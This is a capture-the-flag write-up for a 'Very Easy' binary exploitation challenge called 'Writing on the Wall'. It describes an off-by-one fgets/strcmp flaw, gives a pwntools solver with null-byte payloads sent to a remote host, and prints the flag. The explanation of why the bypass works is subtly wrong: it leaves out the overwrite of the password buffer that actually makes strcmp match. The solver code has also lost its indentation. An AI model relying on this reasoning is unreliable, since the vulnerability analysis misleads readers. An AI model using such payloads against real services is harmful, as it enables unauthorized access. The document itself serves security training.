2024 Cyber Apocalypse: Writing on the Wall

Challenge Information

AttributeDetails
Event2024 Cyber Apocalypse
CategoryBinary Exploitation
ChallengeWriting on the Wall
DifficultyVery Easy

Summary

Writing on the Wall is a binary exploitation challenge involving an off-by-one vulnerability combined with strcmp() behavior. The program reads exactly 7 bytes of user input and compares it against a hardcoded 8-byte password string. By exploiting how strcmp() treats null bytes, the password check can be bypassed to retrieve the flag.


Analysis

Binary Security Properties

RELRO: Full RELRO
NX: NX enabled
PIE: PIE enabled
Canary: Canary found

The Vulnerability

The program structure:

char user_input[7]; // 7-byte buffer
char password[] = "w3tpass "; // 8 bytes (including space or null terminator)
fgets(user_input, 8, stdin); // Reads up to 7 bytes + null terminator
strcmp(user_input, "w3tpass ");

Key Issues:

  1. Off-by-one: The buffer is 7 bytes but fgets() reads 8, creating an off-by-one overflow
  2. strcmp() behavior: Stops comparison at null bytes
  3. Length mismatch: User input (7 bytes) vs password (8 bytes)

The Trick

strcmp() compares strings until it encounters a null terminator (\0). By sending 7 bytes of input ending with a null byte, we create:

  • user_input = \x00XXXXXX\x00 (user input with null terminator)
  • The comparison stops at the first null byte
  • Both strings are effectively empty at the comparison point, so they match!

Solution

Step 1: Understand the Payload

Send a payload that:

  1. Starts with a null byte to make strcmp() immediately return (strings are equal as both are empty)
  2. Can include any other bytes in the remaining space

Payload: \x00 + 5 arbitrary bytes + \x00 (7 bytes total)

Step 2: Send the Exploit

Use pwntools to send the null byte payload:

r.sendline(b'\x00' + b'A'* 5 + b'\x00')

Step 3: Receive the Flag

After bypassing the password check, the program outputs the flag.


Complete Exploit

#!/usr/bin/python3
from pwn import *
import warnings
import os
warnings.filterwarnings('ignore')
context.log_level = 'critical'
LOCAL = False
os.system('clear')
if LOCAL:
print('Running solver locally..\n')
r = process('./writing_on_the_wall')
else:
IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0'
PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337
r = remote(IP, PORT)
print(f'Running solver remotely at {IP} {PORT}\n')
# Send null byte payload
r.sendline(b'\x00' + b'A'* 5 + b'\x00')
r.recvuntil(': ')
flag = r.recvline().strip().decode()
print(f'Flag --> {flag}\n')

Alternative Payloads

Any of these work:

r.sendline(b'\x00' + b'AAAAA' + b'\x00')
r.sendline(b'\x00' + b'X'*5 + b'\x00')
r.sendline(b'\x00' + b'\x00'*5 + b'\x00')

Key Takeaways

  • Off-by-one vulnerabilities in buffer operations can be subtle but critical
  • Understanding null byte handling in string functions is essential for exploitation
  • strcmp() and similar functions stop at null terminators
  • Input validation must be precise - reading more bytes than allocated creates vulnerabilities
  • All modern protections (RELRO, NX, PIE, Canary) can be bypassed through logical flaws
  • String manipulation vulnerabilities remain dangerous despite system-level mitigations

Flag: HTB{3v3ryth1ng_15_r34d4bl3}